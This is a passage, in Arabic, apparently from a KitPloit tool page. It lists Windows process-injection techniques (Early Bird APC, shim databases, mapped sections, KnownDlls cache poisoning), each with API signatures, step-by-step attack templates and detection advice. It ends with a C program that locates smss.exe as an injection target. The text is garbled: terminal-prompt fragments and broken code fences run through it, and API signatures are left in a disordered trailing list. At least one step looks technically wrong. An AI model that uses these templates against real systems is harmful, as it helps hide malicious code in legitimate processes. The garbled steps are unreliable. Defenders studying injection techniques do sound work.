  • استخدم حلول EDR ذات القدرات لاكتشاف تقنيات PROPagate
  • وظّف الكشف القائم على السلوك لتحديد العمليات التي تشهد تغييرات غير متوقعة في خصائص النافذة

21. Early Bird Injection

تحقن هذه التقنية كودًا في عملية ما أثناء تهيئتها، قبل أن يبدأ الخيط الرئيسي في التنفيذ.

واجهات برمجة التطبيقات الرئيسية:

  • CreateProcess ```c BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
    root@kitploit:~
  • VirtualAllocEx (انظر أعلاه)
  • WriteProcessMemory (انظر أعلاه)
  • QueueUserAPC (انظر أعلاه)
  • ResumeThread (انظر أعلاه)

النموذج:

  1. إنشاء عملية جديدة في حالة معلّقة باستخدام CreateProcess مع علامة CREATE_SUSPENDED
  2. تخصيص ذاكرة في العملية الجديدة باستخدام VirtualAllocEx
  3. كتابة الحمولة في الذاكرة المخصصة باستخدام WriteProcessMemory
  4. إدراج APC في الخيط الرئيسي باستخدام QueueUserAPC، مع الإشارة إلى الحمولة
  5. استئناف الخيط الرئيسي باستخدام ResumeThread

الكشف والدفاع:

  • مراقبة إنشاء العمليات مع علامة CREATE_SUSPENDED
  • تنفيذ مراقبة تهيئة العمليات لاكتشاف تنفيذ الكود غير المتوقع
  • استخدام حلول EDR القادرة على اكتشاف تقنيات حقن Early Bird
  • اعتماد الكشف القائم على السلوك لتحديد العمليات ذات أنماط التهيئة غير الطبيعية

22. الحقن القائم على Shim

تستفيد هذه التقنية من إطار عمل توافق تطبيقات Windows لحقن الكود.

واجهات برمجة التطبيقات الأساسية:

  • SdbCreateDatabase ```c PDB SdbCreateDatabase( LPCWSTR pwszPath );
    root@kitploit:~
  • SdbWriteDWORDTag ```c BOOL SdbWriteDWORDTag( PDB pdb, TAG tTag, DWORD dwData );
    root@kitploit:~
  • SdbEndWriteListTag ```c BOOL SdbEndWriteListTag( PDB pdb, TAG tTag );
    root@kitploit:~

القالب:

  1. أنشئ قاعدة بيانات shim باستخدام SdbCreateDatabase
  2. اكتب بيانات shim إلى قاعدة البيانات، بما في ذلك الحمولة والتطبيق المستهدف
  3. ثبّت قاعدة بيانات shim باستخدام sdbinst.exe
  4. سيتم تنفيذ الحمولة عند تشغيل التطبيق المستهدف

الكشف والدفاع:

  • مراقبة إنشاء وتثبيت قاعدة بيانات shim المشبوهة
  • تنفيذ مراقبة شيمات توافق التطبيقات
  • استخدام حلول EDR القادرة على اكتشاف تقنيات الحقن المعتمدة على shim
  • استخدام القائمة البيضاء للشيمات المعتمدة ومنع تثبيت الشيمات غير المصرح بها

23. حقن التعيين

تستخدم هذه التقنية ملفات الذاكرة المعيّنة لحقن الكود في عملية بعيدة.

واجهات برمجة التطبيقات الرئيسية:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • NtMapViewOfSection (غير موثّق) ```c NTSTATUS NTAPI NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
    root@kitploit:~

Template:

  1. أنشئ كائنًا لتعيين ملف باستخدام CreateFileMapping
  2. عيّن عرضًا للملف داخل العملية الحالية باستخدام MapViewOfFile
  3. اكتب الحمولة إلى العرض المعيّن
  4. استخدم NtMapViewOfSection لتعيين العرض في العملية الهدف
  5. نفّذ الحمولة في العملية الهدف

الاكتشاف والدفاع:

  • راقب الأنماط المشبوهة لتعيين الملفات وإنشاء العروض
  • طبّق مراقبة تعيين الذاكرة لاكتشاف استخدام الذاكرة المشتركة غير المتوقع
  • استخدم حلول EDR القادرة على اكتشاف تقنيات حقن التعيين
  • اعتمد الكشف القائم على السلوك لتحديد العمليات ذات الاستخدام غير الطبيعي للملفات المعيّنة في الذاكرة

24. تسميم ذاكرة التخزين المؤقت KnownDlls

تتضمن هذه التقنية استبدال ملف DLL شرعي في ذاكرة التخزين المؤقت KnownDlls بملف خبيث.

واجهات برمجة التطبيقات الرئيسية:

  • NtSetSystemInformation (غير موثّقة) ```c NTSTATUS NTAPI NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
    root@kitploit:~

القالب:

  1. أنشئ DLL خبيثًا بنفس اسم إدخال KnownDlls الشرعي
  2. أنشئ كائن Section لـ DLL الخبيث:
    • استخدم NtCreateSection لإنشاء كائن قسم
    • قم بتعيين عرض للقسم في الذاكرة
    • اكتب محتوى DLL الخبيث إلى العرض المعيّن
  3. استخدم NtSetSystemInformation مع SystemExtendServiceTableInformation لإضافة DLL الخبيث إلى ذاكرة التخزين المؤقت KnownDlls
  4. سيتم تحميل DLL الخبيث بدلاً من الشرعي بواسطة العمليات

الكشف والدفاع:

  • نفّذ فحوصات تكامل KnownDlls
  • راقب التعديلات على ذاكرة التخزين المؤقت KnownDlls
  • استخدم حلول EDR القادرة على اكتشاف تسميم ذاكرة التخزين المؤقت KnownDlls
  • استخدم القوائم البيضاء والتحقق من توقيع الكود لـ DLLs في ذاكرة التخزين المؤقت KnownDlls

اعتبارات إضافية للكشف والدفاع

  1. نفّذ استراتيجية قوية للقوائم البيضاء للتطبيقات لمنع تشغيل الملفات التنفيذية وDLLs غير المصرح بها.
  2. استخدم Windows Defender Exploit Guard أو تقنيات مشابهة لتمكين قواعد تقليل سطح الهجوم (ASR).
  3. حافظ على تحديث الأنظمة والبرامج بأحدث التصحيحات الأمنية.
  4. استفد من التحكم في حساب المستخدم (UAC) ومبدأ الامتياز الأقل للحد من تأثير عمليات الحقن الناجحة.
  5. نفّذ تجزئة الشبكة للحد من الحركة الجانبية في حالة نجاح الهجوم.
  6. استخدم تقنيات الحماية الذاتية للتطبيقات في وقت التشغيل (RASP) لاكتشاف ومنع محاولات الحقن في الوقت الفعلي.
  7. نفّذ أنشطة صيد التهديدات بانتظام للبحث استباقيًا عن علامات تقنيات الحقن.
  8. نفّذ وحافظ على نظام قوي لإدارة المعلومات والأحداث الأمنية (SIEM) لربط وتحليل الأحداث الأمنية.
  9. قدّم تدريبًا منتظمًا للتوعية الأمنية للمستخدمين للتعرف على الأنشطة المشبوهة والإبلاغ عنها.
  10. أجرِ اختبارات اختراق وتمارين فريق أحمر منتظمة لتحديد الثغرات وتحسين الدفاعات ضد تقنيات الحقن.

تعداد العمليات```c

#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <errhandlingapi.h> // GetLastError #include <heapapi.h> // HeapCreate, HeapAlloc, HeapDestroy #include <strsafe.h> // StringCchPrintf #include <assert.h> #include <tchar.h>

void ErrorExit(LPCTSTR lpszFunction); int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe);

int PrintProcessInfo(const PROCESSENTRY32* lppe) { assert(lppe);

root@kitploit:~
wprintf(L"PROCESS : %ls\n", lppe->szExeFile);

int PID = static_cast<int>(lppe->th32ProcessID);
if (PID == 0) {
    wprintf(L"ERR : Process Not Found.\n");
    return 0;
}

wprintf(L"PID : %i\n\n", PID);
return 1;

}

void ErrorExit(LPCTSTR functionName) { constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); constexpr size_t EXTRA_CHARS = 40;

root@kitploit:~
DWORD errorCode = GetLastError();
LPTSTR messageBuf = nullptr;

FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL);

if (messageBuf) {
    size_t funcNameLen = _tcslen(functionName);
    size_t messageLen = _tcslen(messageBuf);
    size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR);

    LPTSTR displayBuf = static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT, bufSize));
    if (displayBuf) {
        StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf);
        MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK);

        LocalFree(displayBuf);
    }

    LocalFree(messageBuf);
}

ExitProcess(errorCode);

}

int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) { assert(ProcessName && lppe);

root@kitploit:~
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    ErrorExit(TEXT("CreateToolhelp32Snapshot"));

lppe->dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, lppe) == FALSE) {
    CloseHandle(hSnapshot);
    ErrorExit(TEXT("Process32First"));
}

int pFoundFlag = 0;
do {
    size_t wcProcessName = wcslen(ProcessName);
    if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) {
        if (!PrintProcessInfo(lppe)) continue;
        pFoundFlag = 1;
        break;
    }
} while (Process32Next(hSnapshot, lppe));

CloseHandle(hSnapshot);

return pFoundFlag;

}

int main(int argc, char** argv) { wchar_t pName[] = L"smss.exe"; // process name we will be injecting PROCESSENTRY32 lppe = { 0 };

root@kitploit:~
if (ProcessEnumerateAndSearch(pName, &lppe)) {
    // do some stuff
}
else {
    return 1;
}

return 0;

}

root@kitploit:~
تنزيل الأداة
root@kitploit:~
  • NtCreateThread (غير موثق) ```c NTSTATUS NTAPI NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended );
    root@kitploit:~
  • RtlCreateUserThread (غير موثق) ```c NTSTATUS NTAPI RtlCreateUserThread( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientId );
    root@kitploit:~
  • root@kitploit:~
  • WriteProcessMemory (انظر أعلاه)
  • GetThreadContext ```c BOOL GetThreadContext( HANDLE hThread, LPCONTEXT lpContext );
    root@kitploit:~
  • SetThreadContext (انظر أعلاه)
  • ResumeThread (انظر أعلاه)
  • SetPropA
    root@kitploit:~
  • PostMessage ```c BOOL PostMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~